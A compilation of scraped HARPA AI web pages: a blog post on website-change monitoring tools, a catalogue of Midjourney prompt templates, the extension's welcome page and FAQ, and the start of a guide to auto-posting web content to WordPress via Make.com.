HARPA AI: 1. Install the [HARPA AI Chrome extension](https://get.harpa.ai/) . 2. Navigate to the target site (Amazon product, competitor blog). 3. Press **Alt+A**, switch to **AUTOMATE** tab, select the element to track (price, text). 4. Set interval (15s to monthly), alerts (notification/email/webhook/sound). 5. Click **START** — runs in background, notifies on changes. For automatic page reload, see the [autorefresh web pages guide](https://harpa.ai/guides/autorefresh-web-pages) . HARPA adds AI data extraction on top of basic monitoring. [\#](https://harpa.ai/blog/monitor-website-changes-best-tools-and-chrome-extensions#reddit-alerts,-competitor-tracking-&-niche-use-cases) Reddit Alerts, Competitor Tracking & Niche Use Cases ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Track Reddit with F5Bot (free semantic keywords, 10-30min alerts) or Visualping on /new/. For brand mentions, monitor relevant subreddits. Competitor tracking: use [HARPA AI to track competitors](https://harpa.ai/guides/track-competitors) for SEO and pricing updates. E-commerce restock alerts via Distill or HARPA, review monitoring via GMB Everywhere. [\#](https://harpa.ai/blog/monitor-website-changes-best-tools-and-chrome-extensions#choosing-the-best-tool-to-track-website-updates) Choosing the Best Tool to Track Website Updates ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Pick via needs: * **Free/local**: Visualping/Distill for quick web monitoring. * **Open-source**: Changedetection.io unlimited. * **AI/automation**: HARPA AI for e-commerce and marketers — [install free](https://get.harpa.ai/) , no card needed. * **Enterprise**: Hexowatch/UptimeRobot scalable. ### [\#](https://harpa.ai/blog/monitor-website-changes-best-tools-and-chrome-extensions#faq) FAQ **What's the best free monitor website changes Chrome extension?** Visualping or Distill for most — 25+ monitors free. **Does HARPA AI monitor website changes?** Yes. Switch to the AUTOMATE tab on any page and set up a monitor in seconds. See [getting started](https://harpa.ai/guides/getting-started) . **How to get notified when a website is updated Reddit-style?** F5Bot for keywords, Visualping for subreddits. [\#](https://harpa.ai/blog/monitor-website-changes-best-tools-and-chrome-extensions#further-reading) Further Reading --------------------------------------------------------------------------------------------------------------------- * [Price Monitor Guide](https://harpa.ai/guides/monitor-price-drops) * [Track Competitors](https://harpa.ai/guides/track-competitors) * [Autorefresh Web Pages](https://harpa.ai/guides/autorefresh-web-pages) * [Automation Features](https://harpa.ai/guides/automation-features) * [ChatGPT for Online Shopping](https://harpa.ai/blog/chatgpt-for-online-shopping) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/blog/best-price-tracker-browser-extensions) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/blog/best-amazon-price-trackers-and-drop-alerts) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Built-in Midjourney Templates [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/images/image-03.svg) Built-in Midjourney Templates ============================= OUTLINE NAVIGATE ![icon](https://harpa.ai/icon/lines/general/tool-02.svg) There is now much less need to search for or purchase Midjourney templates. HARPA did the work for you, hand-picked, purchased and carefully designed prompt templates to craft your next ideal image in Midjourney. HARPA AI comes with a _Midjourney Prompt Wizard Command_ and gives you access to over 30 prompt templates. Access command by typing `/midjourney` in HARPA AI chat. If you have any feedback or additions you'd like to share, please join us on our [Discord](https://discord.gg/B9Evx82m4K) . [\#](https://harpa.ai/blog/midjourney-templates#illustrations) Illustrations ----------------------------------------------------------------------------- ### [\#](https://harpa.ai/blog/midjourney-templates#vector-art) Vector Art #### BASIC Vector illustration is characterized by its clean, smooth lines and edges, representing shapes, lines, and colors through mathematical formulas. Distinct in its stylized appearance, vector art spans a spectrum from simple geometric designs to intricate, detailed artwork, all achieved without the constraints of pixelation. ![](https://harpa.ai/img/blog/blog22-1.webp) #### LOW-DETAILED Vector illustrations that are simplified and lack intricate details. Such artwork often emphasizes basic shapes, forms, and lines, resulting in a more abstract or minimalist aesthetic. ![](https://harpa.ai/img/blog/blog22-2.webp) #### EARTH-COLORS Vector illustrations that predominantly use earthy tones in their color palette often include shades of browns, greens, blues, and other colors associated with nature and the environment. ![](https://harpa.ai/img/blog/blog22-3.webp) ### [\#](https://harpa.ai/blog/midjourney-templates#monochrome-art) Monochrome art Monochrome picture art is a form of artwork where only one primary color is emphasized. All variations in the artwork derive from shades, tints, or tones of this single color, making it the focal point of the visual presentation. ![](https://harpa.ai/img/blog/blog22-4.webp) ### [\#](https://harpa.ai/blog/midjourney-templates#black-&-white) Black & White #### PEN & INK Artwork created using pens and ink is characterized by its sharp lines, detailed strokes, and often high contrast. ![](https://harpa.ai/img/blog/blog22-5.webp) #### PEN & INK: SIMPLIFIED Illustration created with a simplified pen and ink approach focuses on basic shapes and forms, using minimalistic strokes. ![](https://harpa.ai/img/blog/blog22-6.webp) #### CHARCOAL Picture created using charred wooden sticks or compressed charcoal results in rich, deep tones and varied textures. This medium allows for both broad, soft strokes and fine details, often producing expressive and atmospheric images with a smudged or blended appearance. ![](https://harpa.ai/img/blog/blog22-7.webp) ### [\#](https://harpa.ai/blog/midjourney-templates#2000s-style) 2000s style Visual creations from the early 21st century often feature bright gradients, geometric shapes, and glossy elements. This era marked a blend of 2D and 3D graphics, with designs influenced by early digital tools, resulting in a unique mix of realism and digital abstraction. ![](https://harpa.ai/img/blog/blog22-8.webp) ### [\#](https://harpa.ai/blog/midjourney-templates#colorful-chalks) Colorful Chalks Visuals created with vibrant chalks exhibit vivid hues and a textured appearance, evoking a tactile, spontaneous feel often associated with street or sidewalk art. ![](https://harpa.ai/img/blog/blog22-9.webp) ### [\#](https://harpa.ai/blog/midjourney-templates#markers) Markers Illustrations crafted with vibrant markers are characterized by their bright, saturated colors and defined lines. The medium offers precision combined with the potential for bold and varied strokes, producing artwork that has a lively and contemporary feel. ![](https://harpa.ai/img/blog/blog22-10.webp) ### [\#](https://harpa.ai/blog/midjourney-templates#acid-colors) Acid Colors Illustrations with electrifying shades harness the intensity of fluorescent colors, creating artwork that stands out with a futuristic or psychedelic vibe. ![](https://harpa.ai/img/blog/blog22-11.webp) [\#](https://harpa.ai/blog/midjourney-templates#photo) Photo ------------------------------------------------------------- ### [\#](https://harpa.ai/blog/midjourney-templates#landscape) Landscape Describe the landscape, and I'll try to craft a prompt that helps Midjourney produce a memorable professional photo of the object. It will be suitable both for a family album and a National Geographic article cover. ![](https://harpa.ai/img/blog/blog22-12.webp) ### [\#](https://harpa.ai/blog/midjourney-templates#drone-shot) Drone Shot In this option, you can choose the topography, region, and time of day from the available selections, or input your own custom choice. As a result, you'll receive a Midjourney prompt that generates a stunning bird's-eye view photo. ![](https://harpa.ai/img/blog/blog22-13.webp) ### [\#](https://harpa.ai/blog/midjourney-templates#dark-reflectios) Dark Reflectios A prompt is being created to generate a black-and-white image adhering to the rule of thirds. The key subject of the image will be based on your description. This subject will be reflected on textures, in water (puddles), or on wet asphalt. It's all up to your imagination. ![](https://harpa.ai/img/blog/blog22-14.webp) ### [\#](https://harpa.ai/blog/midjourney-templates#apocalyptic) Apocalyptic Select a location, weather, lighting, and camera from the available options or input your custom choices. I'll create the perfect post-apocalyptic prompt for Midjourney, which will generate an image in the style of your favorite movies and games, such as '**The Day After Tomorrow**', '**28 Days Later...**', or '**I Am Legend**'. ![](https://harpa.ai/img/blog/blog22-15.webp) ### [\#](https://harpa.ai/blog/midjourney-templates#portrait) Portrait A free-style portrait captured by a professional photographer using the stunning Leica M7 with a 35mm lens. You have the option to choose between black and white or color photography, describe the person or concept, and select the desired weather from the provided options or come up with your own. ![](https://harpa.ai/img/blog/blog22-16.webp) ![](https://harpa.ai/img/blog/blog22-16-2.webp) ### [\#](https://harpa.ai/blog/midjourney-templates#custom-shot) Custom Shot This prompt was crafted by a professional photographer, who handpicked _15 ideal camera, lens, and filter combinations_ to achieve the best results. If you're unsure which option to choose, simply click AUTO and the AI will decide for you. Additionally, there are _5 Polaroid_ photo presets, _5 Cinematic_, and _5 Creative mods_ available. Within these, you can even find a disposable camera with a plastic lens that evokes a memorable old-school atmosphere ![](https://harpa.ai/img/blog/blog22-17.webp) ![](https://harpa.ai/img/blog/blog22-17-1.webp) ![](https://harpa.ai/img/blog/blog22-18.webp) ![](https://harpa.ai/img/blog/blog22-19.webp) ![](https://harpa.ai/img/blog/blog22-20.webp) [\#](https://harpa.ai/blog/midjourney-templates#logo) Logo ----------------------------------------------------------- ### [\#](https://harpa.ai/blog/midjourney-templates#vector-art) Vector art #### BASIC Vector logos are marked by their crisp, smooth outlines, capturing shapes, lines, and colors through mathematical equations. Known for its stylized look, vector logo design ranges from basic geometric patterns to elaborate, detailed emblems, all while avoiding pixelation issues. ![](https://harpa.ai/img/blog/blog22-21.webp) #### LOW-DETAILED Logos in this vector style are streamlined and devoid of complex details. The emphasis on primary shapes, forms, and lines results in a more abstract or minimalist brand identity. ![](https://harpa.ai/img/blog/blog22-22.webp) #### EARTH-COLORS Vector logos that predominantly employ earthy hues typically feature browns, greens, blues, and other nature-associated colors, suggesting an environmentally conscious or organic brand. ![](https://harpa.ai/img/blog/blog22-23.webp) ### [\#](https://harpa.ai/blog/midjourney-templates#sketch) Sketch #### INK: MULTI-COLORED and BLACK&WHITE Logos utilizing a pared-down pen and ink technique focus on fundamental shapes and structures, employing minimalistic lines for a cleaner aesthetic. ![](https://harpa.ai/img/blog/blog22-24.webp) ![](https://harpa.ai/img/blog/blog22-24-2.webp) #### CHARCOAL Logos designed using charred wood or condensed charcoal exhibit rich, deep shades and diverse textures. They can vary from broad, gentle strokes to intricate details, often resulting in emotive and atmospheric brand identities with a slightly smudged or merged look. ![](https://harpa.ai/img/blog/blog22-25.webp) #### MONOCHROME Monochrome logos highlight a single primary color. All variations in the design come from shades, tints, or tones of that singular color, centralizing its visual impact. ![](https://harpa.ai/img/blog/blog22-26.webp) ### [\#](https://harpa.ai/blog/midjourney-templates#notion-style) Notion Style The logo illustration is based on a fictional character. Logos in this 'notion-style' created with bold markers are characterized by their vibrant, deeply saturated colors and distinct outlines. ![](https://harpa.ai/img/blog/blog22-27.webp) ### [\#](https://harpa.ai/blog/midjourney-templates#colored-&-minimal) Colored & Minimal #### FUTURISTIC A futuristic, minimalist, and colorful logo inspired by Alebrije, Lee Ufan, and Anne Truitt, drawing from artifacts of online culture, the use of fabric, and functional aesthetics. ![](https://harpa.ai/img/blog/blog22-28.webp) #### OLD-FASHIONED Minimalist, old-fashioned logos in an 80s-90s style, inspired by tech companies and well-known brands of that era. ![](https://harpa.ai/img/blog/blog22-29.webp) #### NEON Minimalist logos in neon colors, inspired by Rob Janoff, plain, and functional. You can select a monochromatic background from the provided options or customize it manually. ![](https://harpa.ai/img/blog/blog22-30.webp) ### [\#](https://harpa.ai/blog/midjourney-templates#old-fashioned) Old-fashioned #### ROUND A circular logo reminiscent of 70s-80s emblem styles, evoking retro vibes and fond memories. ![](https://harpa.ai/img/blog/blog22-31.webp) #### STAMP A logo styled after postage stamps or stickers from the 80s. ![](https://harpa.ai/img/blog/blog22-32.webp) #### INK STAMP A logo designed in the style of a seal imprint. ![](https://harpa.ai/img/blog/blog22-33.webp) ### [\#](https://harpa.ai/blog/midjourney-templates#single-letter) Single Letter A logo consisting of a single letter. You can input the letter and then provide additional instructions to ensure the result meets your expectations. ![](https://harpa.ai/img/blog/blog22-34.webp) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/blog/ultimate-midjourney-prompts-guide) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/blog/youtube-video-to-blog-post) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Welcome [HARPA.AI\ \ ![HARPA AI logo](https://harpa.ai/img/main-logo-dark.png)](https://harpa.ai/) ![Language](https://harpa.ai/img/icons/translate-01.svg)English HARPA.AI ======== Get HARPA AI for free from the [Official WebStore Page](https://get.harpa.ai/) Make sure it is enabled at chrome://extensions ### Select Your AI Connection Click MODELS at the top and pick: * **Web connections** to use your ChatGPT, Claude or Gemini account. * **Cloud GPT** to connect to our fast API with OpenAI GPT, Anthropic Claude, xAI Grok, Perplexity, Meta LLama and other models. * **API Section** to bring your own AI API keys. ### Send Page Context Click PAGE to activate page-aware mode. This will send opened page content to AI for processing, summarization, research and question answering tasks. ### Send Screenshots Press Alt+V (or ^V on Mac) to capture any area on screen, then ask questions, find mistakes, explain code, translate images, or extract data from screenshots. ### Run AI Commands Start typing in chat to see command suggestions. Type / to browse all 100+ commands. ### Summarize YouTube Videos Click SUMMARIZE WITH HARPA AI on any YouTube video. Get an instant summary with timestamps. ### Drag & Drop Files Drag PDF, images, or text files directly into HARPA chat. Ask questions, extract data, summarize documents, analyze screenshots, or translate content instantly. ### Monitor Prices and Page Changes Switch to AUTOMATE tab at the top and select what you want to monitor. Set up notifications and check frequency if needed, then click START. PRIVACY DISCLAIMER ------------------ HARPA is **privacy-centered**. It does not collect or store your browsing data. HARPA gets access to the web page content you are visiting only upon your explicit actions. This occurs in the following cases: * When you turn on **Page Aware** mode in AI Chat, off by default. * When you use **{{page}}** parameter in chat or run an automation command which uses this parameter. * When you configure and run a **Web Page Monitor**. Please find more info in our Privacy Policy Page [Privacy Policy Page](https://harpa.ai/privacy) QUICK GUIDES ------------ [![](https://harpa.ai/img/misc/main-video-1.png)![](https://harpa.ai/img/misc/youtube-play-red.svg)](https://youtu.be/zy1wuJSNdBI) [AI WRITER ON ANY WEBSITE\ \ Type **/compose** or **/article** in HARPA to write emails, articles, tweets, SMM posts in various styles.](https://harpa.ai/guides/manage-emails-with-chatgpt-and-harpa-ai) [![](https://harpa.ai/img/misc/main-video-5.png)![](https://harpa.ai/img/misc/youtube-play-red.svg)](https://youtu.be/6In2SFLLFmc) [MIDJOURNEY & DALL·E PROMPTS\ \ Type **/midjourney** in HARPA chat to access professional prompt templates.](https://harpa.ai/blog/midjourney-templates) [💰 MONITOR PRICES\ \ Track when any product is back on sale or its’ price drops on Amazon, AliExpress, Walmart, Ebay etc.](https://harpa.ai/guides/monitor-price-drops) [![](https://harpa.ai/img/misc/main-video-3.png)![](https://harpa.ai/img/misc/youtube-play-red.svg)](https://youtu.be/8tu_FXDs1o8) [AI ASSISTED SEARCH\ \ Navigate to Google, DuckDuckGo, Bing and get AI assisted answers alongside search results.](https://harpa.ai/blog/ai-answers-alongside-google-search) [TALK TO PAGES & WEB PDFs\ \ Navigate to any PDF file online, bring in HARPA and simply start asking questions about the PDF content.](https://harpa.ai/guides) [AUTOMATE YOUR WORK\ \ Create and reuse custom page-aware GPT commands and web automations.](https://harpa.ai/chatml/overview) [AI COMMANDS\ \ Save hours of work with AI commands. Type slash **/** in chat to use one of 100+ prompts for Business, Productivity, SEO, SMM, Learning, E‑Commerce and more.](https://harpa.ai/guides/page-aware-chatgpt-prompts) [TRACK WEB PAGES\ \ Switch to **AUTOMATE** tab to track data on pages, prices, metrics, competitors and products.](https://harpa.ai/guides/track-competitors) [![](https://harpa.ai/img/misc/main-video-2.png)![](https://harpa.ai/img/misc/youtube-play-red.svg)](https://youtu.be/Fhe4gr6eDzo) [SUMMARIZE YOUTUBE VIDEOS\ \ Type **/youtube** in chat to summarize any hours-long YouTube video to text.](https://harpa.ai/guides/summarize-pages-and-youtube-videos-to-text) [CONNECT TO 1000+ APPS\ \ Connect HARPA.AI to over 1000+ apps with webhooks, Make.com & Zapier and trigger IFTTT chains.](https://harpa.ai/guides/connecting-harpa-to-make-com) [AUTO-REFRESH PAGES\ \ Keep a tab up-to-date with automated page refresh.](https://harpa.ai/guides/autorefresh-web-pages) [![](https://harpa.ai/img/misc/main-video-4.png)![](https://harpa.ai/img/misc/youtube-play-red.svg)](https://youtu.be/VF9Yeo6H3iI) [QUICK ACCESS BAR\ \ Get access to HARPA.AI commands and settings on any website.](https://harpa.ai/case/quick-access-bar) [SEO SUPERPOWERS\ \ Type **/seo** in chat to access SEO tools: Audit, Keyword Extract & Research, Article Outrank and more.](https://harpa.ai/case/chatgpt-for-marketing-and-seo) ![background triangle element](https://harpa.ai/img/misc/triangle.svg)![background triangle element](https://harpa.ai/img/misc/triangle.svg) F.A.Q. ------ ![](https://harpa.ai/img/icons/annotation-question.svg) What is HARPA AI? ----------------- HARPA AI is a browser extension, powered by hybrid AI-engine that combines ChatGPT, Gemini, ClaudeAI, Perplexity, DeepSeek with Web Automation. Read the [Get Started Guide](https://harpa.ai/guides) to find out more. ![](https://harpa.ai/img/icons/annotation-question.svg) What is it used for? -------------------- HARPA automates your copywriting, email management, web search, online data extraction and web monitoring tasks. It is used to quickly write and reply to emails, post comments and DMs, summarise and “talk to” web pages, YouTube videos, PDF documents, extract and research SEO keywords, create SMM content plans and Midjourney prompts, automate form filling, write blog articles, review CVs, job offers and legal documents, plan trips, track competitors, prices and SERP pages, create learning plans, search for information and more. ![](https://harpa.ai/img/icons/target-04.svg) What makes HARPA different? --------------------------- HARPA can read, understand and act upon web page content. It can navigate, click and extract data from web pages, run it through Large Language Models, paste back to websites or trigger IFTTT chains such as Zapier and Integromat. Ultimate copilot and AI Agent for your web browsing, search and automation tasks. It provides access to AI on any website, and you can use HARPA with almost every web service or online app. ![](https://harpa.ai/img/icons/coins-04.svg) Is HARPA free? -------------- HARPA has a basic free tier and a demo period for it's premium features. You can try the app before making an informed purchase. Basic **S** plan starts with **$12 per month** paid annually, includes CloudGPT connection, cloud command storage, chat history [and more](https://harpa.ai/pricing) . ![](https://harpa.ai/img/icons/cpu-chip-01.svg) Is HARPA CPU-intensive? ----------------------- HARPA is optimized for speed and performance and does not use CPU when it has no tasks to run. You can also limit the number of automations that are run simultaneously in the HARPA app settings. ![](https://harpa.ai/img/icons/announcement-01.svg) What HARPA stands for? ---------------------- HARPA stands for High Availability Robotic Process Automation. HARPA is designed to bridge the gap between AI and Automation and serve as your virtual assistant and a digital workforce for your business. ![](https://harpa.ai/img/icons/star-06.svg) Do I need to have an OpenAI account? ------------------------------------ Generative AI features require connection to AI service providers. You can use HARPA with ChatGPT account, OpenAI API key, ClaudeAI, Google Gemini, OpenRouter and API keys. You can also connect to our CloudGPT on S plan. ![](https://harpa.ai/img/icons/star-06.svg) How to create ChatGPT account? ------------------------------ Step 1: Navigate to the [ChatGPT login page](https://chatgpt.com/auth/login) . Click Sign Up button. ChatGPT offers three options for new user registration: * With email address. * With your Google account. Click the Continue with Google account option, and enter your Google account password to complete the process. * With your Microsoft account. Click the Continue with Microsoft account button, enter your password, and complete the sign-up process. Choose the appropriate option and create the account. ChatGPT will send a verification email to the registered email address. Step 2: Open your email account and verify your email address by clicking the Verify Email Address button and enter your full name. Step 3: Enter your phone number. ChatGPT will send a verification code to your phone number. Verify it by typing the code in the space provided. Finally, your ChatGPT account is ready to use! ![](https://harpa.ai/img/icons/star-06.svg) How to get access to GPT-5.4? ----------------------------- HARPA CloudGPT supports GPT-5.4 model. Please [upgrade to S plan](https://harpa.ai/pricing) to get access to GPT-5.4. Alternatively, GPT-5.4 comes with ChatGPT Plus. It is limited by OpenAI's per-session rate limits. GPT-5.4 is also available for OpenAI API accounts. To upgrade to ChatGPT Plus: * Log in to your OpenAI account. * Click "Upgrade to Plus" in the left menu. * Select the ChatGPT Plus upgrade plan. * Enter your bank details and set up a recurring payment of $20/month. * Click "Continue to ChatGPT Plus." To create OpenAI account and generate a key, navigate to [openai.com](https://openai.com/) ![](https://harpa.ai/img/icons/star-06.svg) How to switch the GPT version and model? ---------------------------------------- Locate GPT connection button below the Chat window. You might need to expand the control panel by clicking the "triangle" button. Select a GPT connection and model in the screen that appears. Alternatively, type **\-3** in chat and press Enter to switch model to an efficient model, **\-4** to switch to a premium model, **\-c** to switch to Claude, etc. ![](https://harpa.ai/img/icons/shield-tick.svg) How does HARPA ensure privacy and data security? ------------------------------------------------ HARPA is privacy-centered. It runs on your computer, does not send or store website data on remote servers, only performs the tasks you have asked it to. We do not show ads or sell your data. GPT prompts you enter to HARPA are transparently sent to OpenAI, Google or ClaudeAI servers for processing and not stored on our servers. [Privacy Policy](https://harpa.ai/privacy) ![](https://harpa.ai/img/icons/check-health.svg) Why HARPA does not open on a web page? -------------------------------------- HARPA does not work with Google Sheets yet. Some domains e.g. Discord may require you to disable fingerprint protection on Brave and Edge. Click HARPA icon in the browser toolbar, instead of pressing Alt+A. If the HARPA popup does not appear: 1. Right click HARPA icon in the browser toolbar. Make sure "This Can Read and Change Site Data" option is set to "On all sites". 2. uBlock may prevent HARPA from loading on some websites. Try turning it off for the web page. 3. If you are on **Chrome**: * Navigate to chrome://settings/content/popups * Add your domain to Allow list. 4. If you are on **Brave**: * Navigate to brave://settings/shields * Either deactivate “Prevent sites from fingerprinting me based on my language preferences” option, or deactivate Brave Shields for your domain, e.g. Discord. 5. If you are on **Edge**: * Navigate to edge://settings/content/ads * Either deactivate "Intrusive Ads" block or add your domain to Allow list. If nothing helps, navigate to chrome://extensions, disable HARPA, quit and restart your browser, and turn HARPA back in. ![](https://harpa.ai/img/icons/check-health.svg) Why do I get CRX\_FILE\_NOT\_READABLE error? -------------------------------------------- This error may occur if: 1. You downloaded a CRX file and installing it manually. CRX files downloaded online may be broken or insecure. We recommend installing HARPA from the official Chrome Web Store. 2. You are using NordVPN with the "THREAT PROTECT" is ON. Turn it OFF while installing HARPA extension. ![](https://harpa.ai/img/icons/check-health.svg) Why HARPA chats are not showing up in ChatGPT? ---------------------------------------------- You can see 🧬  chats in chatgpt.com if you're on a Browser Session connection. If you don’t want your dialogues to be cleared automatically whenever a tab is closed, you can change this in the App Settings. ![](https://harpa.ai/img/icons/check-health.svg) Why HARPA says there is no video transcript? -------------------------------------------- If a YouTube video is fresh or has a low number of views, it may not have a transcript available. If you are using uBlock Origin, turn it off while running HARPA or add a rule to allow XHR requests on YouTube. ![](https://harpa.ai/img/icons/target-04.svg) Can HARPA generate blog outlines and articles? ---------------------------------------------- Yes, HARPA has an extensive library of copywriting prompts, can generate and refine short and long articles in 18 writing styles and can mimic yours. ![](https://harpa.ai/img/icons/tool-02.svg) How to turn off the bar that pops up when I select text? -------------------------------------------------------- Please click the settings (”gear”) button in the app and uncheck the box next to “Show floating quick-access bar”. ![](https://harpa.ai/img/icons/tool-02.svg) Which API connection is better than Browser Session? ---------------------------------------------------- HARPA S plan comes with CloudGPT, which is the most reliable, fastest and non country restricted GPT connection. You can also use CloudGPT or OpenAI keys with HARPA with an additional setup. There are Pros and Cons to using OpenAI API keys over Browser Session: * Browser Session connection is free, Browser Session Plus is $20 / month and OpenAI API Key connection is paid per use based on the number of tokens (request volume). * GPT-5.4 access is unlimited on OpenAI API key connection. Browser Session Plus has per-session rate limits. * The OpenAI API key connection is reliable, never disconnects or logs you out. ![](https://harpa.ai/img/icons/annotation-question.svg) What search engine supported? ----------------------------- HARPA provides AI search assistance for Google, Google Scholar, Baidu, Bing, DuckDuckGo, Brave, Yahoo, Naver, Yandex, Kagi, Searx. ![](https://harpa.ai/img/icons/annotation-question.svg) Can I reuse one AI dialogue across multiple browser tabs? --------------------------------------------------------- Yes, this feature is available on **HARPA S** plan. Please note the dialogue content is not stored on our servers and is not synched between your devices. ![](https://harpa.ai/img/icons/annotation-question.svg) What is a Prompt and AI Command? -------------------------------- A prompt is a message (instruction) your send to Large Language Model (LLM) such as OpenAI GPT-5. AI Command is an automation recipe which may or may not include steps that prompt LLMs. Think of AI Commands as a sequence of steps, e.g. “Navigate to web page”, “Click Messages button”, “Extract messages”, “Run through GPT to find important messages”, “Send as Email”. HARPA comes with over 100+ preconfigured commands and you can create yourself to automate your workflow. ![](https://harpa.ai/img/icons/annotation-question.svg) What are Prompt Parameters? --------------------------- HARPA makes it possible to customise your prompts with predefined parameters, such as: * {{page}} to reference page content. * {{transcript}} to extract YouTube video transcript. * {{selection}} to get text selected on page. * {{gpt}} to reference the last GPT answer and chain your requests. You can also create custom parameters in your commands to store data or options. Custom parameters are usually named {{p1}}, {{p2}}… You can also set up global parameters such as {{g.tone}} and reuse them in your prompts e.g. to write customised emails. ![](https://harpa.ai/img/icons/annotation-question.svg) How chunking works? ------------------- Large Language Models have a limited token window, e.g. 8192 tokens on ChatGPT 3.5. It is often impractical or impossible to fit large documents, web pages, and video transcripts into a single GPT request. [Chunking](https://harpa.ai/guides/chunking) is a technique that divides content into smaller parts, also called chunks, to ensure that each part, including the prompt, fits within the GPT token limit. These chunks are then injected into prompts as {{chunk}} parameters and processed by GPT one by one. Chunking does not possess inherent memory. Therefore, if you require context to be maintained across chunks, it must be incorporated within the prompt. ![](https://harpa.ai/img/icons/translate-01.svg) How to change AI response or UI language? ----------------------------------------- Both the AI response language and the UI language can be changed in the HARPA AI settings at the top of the settings list. You can also send {{language}} parameter in chat along with your prompts to instruct AI to reply in a given language. ![](https://harpa.ai/img/icons/puzzle-piece-01.svg) Does HARPA have a CloudAI API? ------------------------------ Yes. HARPA S plan comes with CloudAI API, and provides reliable access to OpenAI and ClaudeAI models. ![](https://harpa.ai/img/icons/puzzle-piece-01.svg) Does HARPA have a Server API? ----------------------------- This is a planned feature. You can follow product updates in our Discord and also vote for the features you’d like to see implemented first. ![](https://harpa.ai/img/icons/puzzle-piece-01.svg) Do you offer Firefox version? ----------------------------- Not at the moment. The Firefox version as well as UI translation are planned after all the major features are implemented. ![More questions avatar](https://harpa.ai/img/misc/more-questions-avatar.png) Can’t find the answer you’re looking for? Please check out the [User Guides](https://harpa.ai/guides) and [Videos](https://www.youtube.com/@HarpaAI) , send us [Email](https://harpa.ai/cdn-cgi/l/email-protection#394a4c4949564b4d7951584b4958175850) or ask your question in the [Discord community](https://discord.gg/B9Evx82m4K) [USER GUIDES](https://harpa.ai/guides) [](https://discord.gg/B9Evx82m4K) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | 5 Simple Steps to Turn Any Web Content into a WordPress Blog [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/img/misc/grid.svg) 5 Simple Steps to Turn Any Web Content into a WordPress Blog ============================================================ CONTENTS ![icon](https://harpa.ai/icon/lines/communication/message-alert-square.svg) If you post up to ~250 posts per month, you can run the AI Scenario within the Free Make.com Plan, which gives you 1k Ops/month. Read in: [Spanish](https://harpa.ai/blog/wordpress-1-click-post-draft-spanish) [Italian](https://harpa.ai/blog/wordpress-1-click-post-draft-italian) [Portuguese](https://harpa.ai/blog/wordpress-1-click-post-draft-portuguese) [\#](https://harpa.ai/grid/wordpress-1-click-post-draft#scenario-features) Scenario Features --------------------------------------------------------------------------------------------- * Convert any webpage or YouTube video into a WordPress blog draft with a single click. * Your draft will be automatically sent to your WordPress. If you want to publish the post immediately, simply specify this during scenario setup. * One-time basic setup takes ~5 min: customize your style, markup (HTML or Markdown) and enter your Webhook URL. You can change settings anytime. * You don't need a paid [Make.com](https://www.make.com/en/pricing) account. You can use other services like [n8n](https://n8n.io/) or [Boost.Space](https://harpa.ai/grid/boost-space-connection-guide) , or send posts directly to WordPress if you have plugins that accept API Post Requests (e.g. [FlowMattic](https://flowmattic.com/) . ### [\#](https://harpa.ai/grid/wordpress-1-click-post-draft#pre-built-templates:) Pre-built templates: * [AI Command: Autopost to WordPress in 1 Сlick](https://harpa.ai/library/autopost-to-word-press-in-1-%D1%81lick-(webhook)/67d3fe70eea5a983d4452507) * [Make.com Scenario Template](https://eu1.make.com/templates/13922?templatePublicId=13922) 